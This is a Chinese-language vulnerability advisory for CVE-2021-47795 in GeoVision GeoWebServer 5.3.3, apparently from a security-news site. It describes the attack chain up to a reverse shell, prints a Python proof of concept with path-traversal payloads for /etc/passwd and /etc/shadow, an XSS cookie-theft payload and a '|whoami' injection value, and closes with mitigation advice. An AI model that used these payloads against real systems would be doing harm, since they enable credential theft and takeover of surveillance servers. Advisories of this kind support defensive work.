IPBUF安全漏洞报告
English
CVE-2021-47795 CVSS 6.2 中危

CVE-2021-47795 GeoVision GeoWebServer本地文件包含漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47795
漏洞类型
本地文件包含、跨站脚本、远程代码执行
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GeoVision GeoWebServer 5.3.3

相关标签

CVE-2021-47795GeoVisionGeoWebServer本地文件包含LFI跨站脚本XSS远程代码执行RCE路径遍历

漏洞概述

GeoVision GeoWebServer 5.3.3版本存在多个安全漏洞,主要包括本地文件包含(LFI)、跨站脚本(XSS)和远程代码执行(RCE)。该漏洞源于WebStrings.srf端点对用户输入的过滤和验证不足,攻击者可以通过构造特殊的路径遍历和注入参数来访问服务器上的敏感系统文件,甚至执行恶意代码。漏洞的CVSS评分为6.2,属于中等严重级别。攻击向量为本地访问,无需认证和用户交互即可利用,攻击成功后将导致高机密性影响。由于该产品主要应用于视频监控和安防系统,漏洞可能影响关键基础设施的安全性,攻击者可能借此获取监控系统的配置信息、用户凭证或其他敏感数据。

技术细节

漏洞存在于GeoVision GeoWebServer的WebStrings.srf端点,该端点在处理用户请求时未能正确验证和过滤输入参数。攻击者可以通过以下方式利用:1)路径遍历攻击:使用../等目录遍历序列访问服务器上的任意文件,如/etc/passwd、配置文件、日志文件等;2)跨站脚本攻击:在参数中注入恶意JavaScript代码,窃取用户会话cookie或进行钓鱼攻击;3)远程代码执行:通过结合文件包含和日志注入,在服务器上执行任意系统命令。漏洞的根本原因在于程序对用户输入的sanitization(输入清理)处理不当,未对特殊字符进行充分的转义或过滤。由于该服务通常以较高权限运行,成功利用可能导致服务器完全沦陷,攻击者可获得系统的完全控制权。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标服务器上运行的GeoVision GeoWebServer版本(5.3.3),确认WebStrings.srf端点存在且可访问
STEP 2
步骤2
路径遍历探测:构造包含../序列的特殊URL请求,尝试访问/etc/passwd、c:\boot.ini等系统文件,验证LFI漏洞存在
STEP 3
步骤3
敏感文件提取:利用LFI读取配置文件、web日志、SSH密钥等敏感信息,获取服务器配置详情和潜在凭据
STEP 4
步骤4
代码执行准备:结合日志注入或session文件包含,植入恶意PHP/JSP代码或shell命令
STEP 5
步骤5
远程代码执行:触发注入的代码,在服务器上执行系统命令,建立持久化后门或反弹shell

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2021-47795 PoC - GeoVision GeoWebServer Local File Inclusion # Target: GeoVision GeoWebServer 5.3.3 # Endpoint: WebStrings.srf target = "http://target.com" # LFI payload - Read system files lfi_payloads = [ "/WebStrings.srf?path=../../../../../../etc/passwd", "/WebStrings.srf?path=../../../../windows/win.ini", "/WebStrings.srf?file=../../../../../../etc/shadow" ] # XSS payload xss_payload = "/WebStrings.srf?input=<script>alert(document.cookie)</script>" # RCE via log injection rce_payload = "/WebStrings.srf?cmd=|whoami" def test_lfi(): """Test Local File Inclusion vulnerability""" for payload in lfi_payloads: url = target + payload try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[+] LFI Successful: {payload}") print(f"Content: {response.text[:500]}") except requests.RequestException as e: print(f"[-] Request failed: {e}") def test_xss(): """Test Cross-Site Scripting vulnerability""" url = target + xss_payload try: response = requests.get(url, timeout=10) if xss_payload in response.text: print(f"[+] XSS vulnerability confirmed") except requests.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": print("[*] Testing CVE-2021-47795") test_lfi() test_xss()

影响范围

GeoVision GeoWebServer 5.3.3及之前版本

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)使用网络层访问控制,限制对GeoWebServer管理界面的访问来源;2)禁用不必要的WebStrings.srf端点或通过反向代理限制其功能;3)增强服务器的安全配置,限制web进程权限;4)部署入侵检测系统监控可疑的路径遍历请求;5)考虑使用虚拟补丁技术临时阻断该漏洞的利用尝试。由于该漏洞无需认证即可利用,强烈建议优先部署缓解措施并跟踪官方安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表